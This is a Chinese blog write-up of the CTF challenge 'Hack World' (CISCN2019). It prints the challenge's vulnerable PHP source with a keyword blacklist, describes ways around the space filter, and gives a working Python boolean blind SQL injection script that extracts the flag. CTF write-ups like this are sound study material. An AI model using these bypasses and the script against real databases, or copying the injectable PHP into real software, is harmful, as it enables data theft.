[CISCN2019 华北赛区 Day2 Web1]Hack World

本文介绍了CISCN2019华北赛区Web1题目HackWorld的解题过程,主要涉及SQL注入漏洞利用。通过数字型SQL注入,作者展示了如何在过滤了多个关键字的情况下,利用布尔盲注和空格绕过技巧来获取信息。解题关键在于空格的替代方式,如%09、%0a等,并提供了Python盲注脚本作为示例。
摘要由CSDN通过智能技术生成

1|0刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

1|1一、前言

离国赛已经过去好久了,到现在才看复现,这道题当时做的时候没有什么头绪,现在来看答案发现其实没有很难,就是经验还不足

1|2二、正文

题目复现链接:https://buuoj.cn/challenges
参考链接:ciscn2019华北赛区半决赛day2_web1题解

1|01、解题过程

搜索框输入1或2会返回结果,其他都返回bool(false)。过滤了union、and、or、空格等,包括/**/,后来看源码知道是过滤了*
有意思的是输入1/1时会正常返回结果,可以判断这是数字型的sql注入。

源码如下:

  
  
<?php $dbuser='root'; $dbpass='root'; function safe($sql){ #被过滤的内容 函数基本没过滤 $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'); foreach($blackList as $blackitem){ if(stripos($sql,$blackitem)){ return False; } } return True; } if(isset($_POST['id'])){ $id = $_POST['id']; }else{ die(); } $db = mysql_connect("localhost",$dbuser,$dbpass); if(!$db){ die(mysql_error()); } mysql_select_db("ctf",$db); if(safe($id)){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){ $result = mysql_fetch_array($query); if($result){ echo $result['content']; }else{ echo "Error Occured When Fetch Result."; } }else{ var_dump($query); } }else{ die("SQL Injection Checked."); }

1|02、解题方法

根据1和2返回结果的不同,可能是bool盲注,()没有过滤,可以使用大部分函数,当时是卡在了空格的绕过
空格的绕过有这些方法我测试是可以的
%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab
%20 好像没法绕,%00截断好像也影响sql语句的执行
或者用括号也可以。任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
本题中可以if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)

贴上我写的bool盲注脚本

  
  
import requests url = 'http://64ed7296-9aea-43ac-84ec-24e5c6f616a7.node1.buuoj.cn/index.php' result = '' for x in range( 1, 50): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = "if(ascii(substr((select flag from flag),%d,1))>%d,1,2)" % (x, mid) data = { "id":payload } response = requests.post(url, data = data) if 'Hello' in response. text: low = mid + 1 else: high = mid mid = (low + high) // 2 result += chr( int(mid)) print(result)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值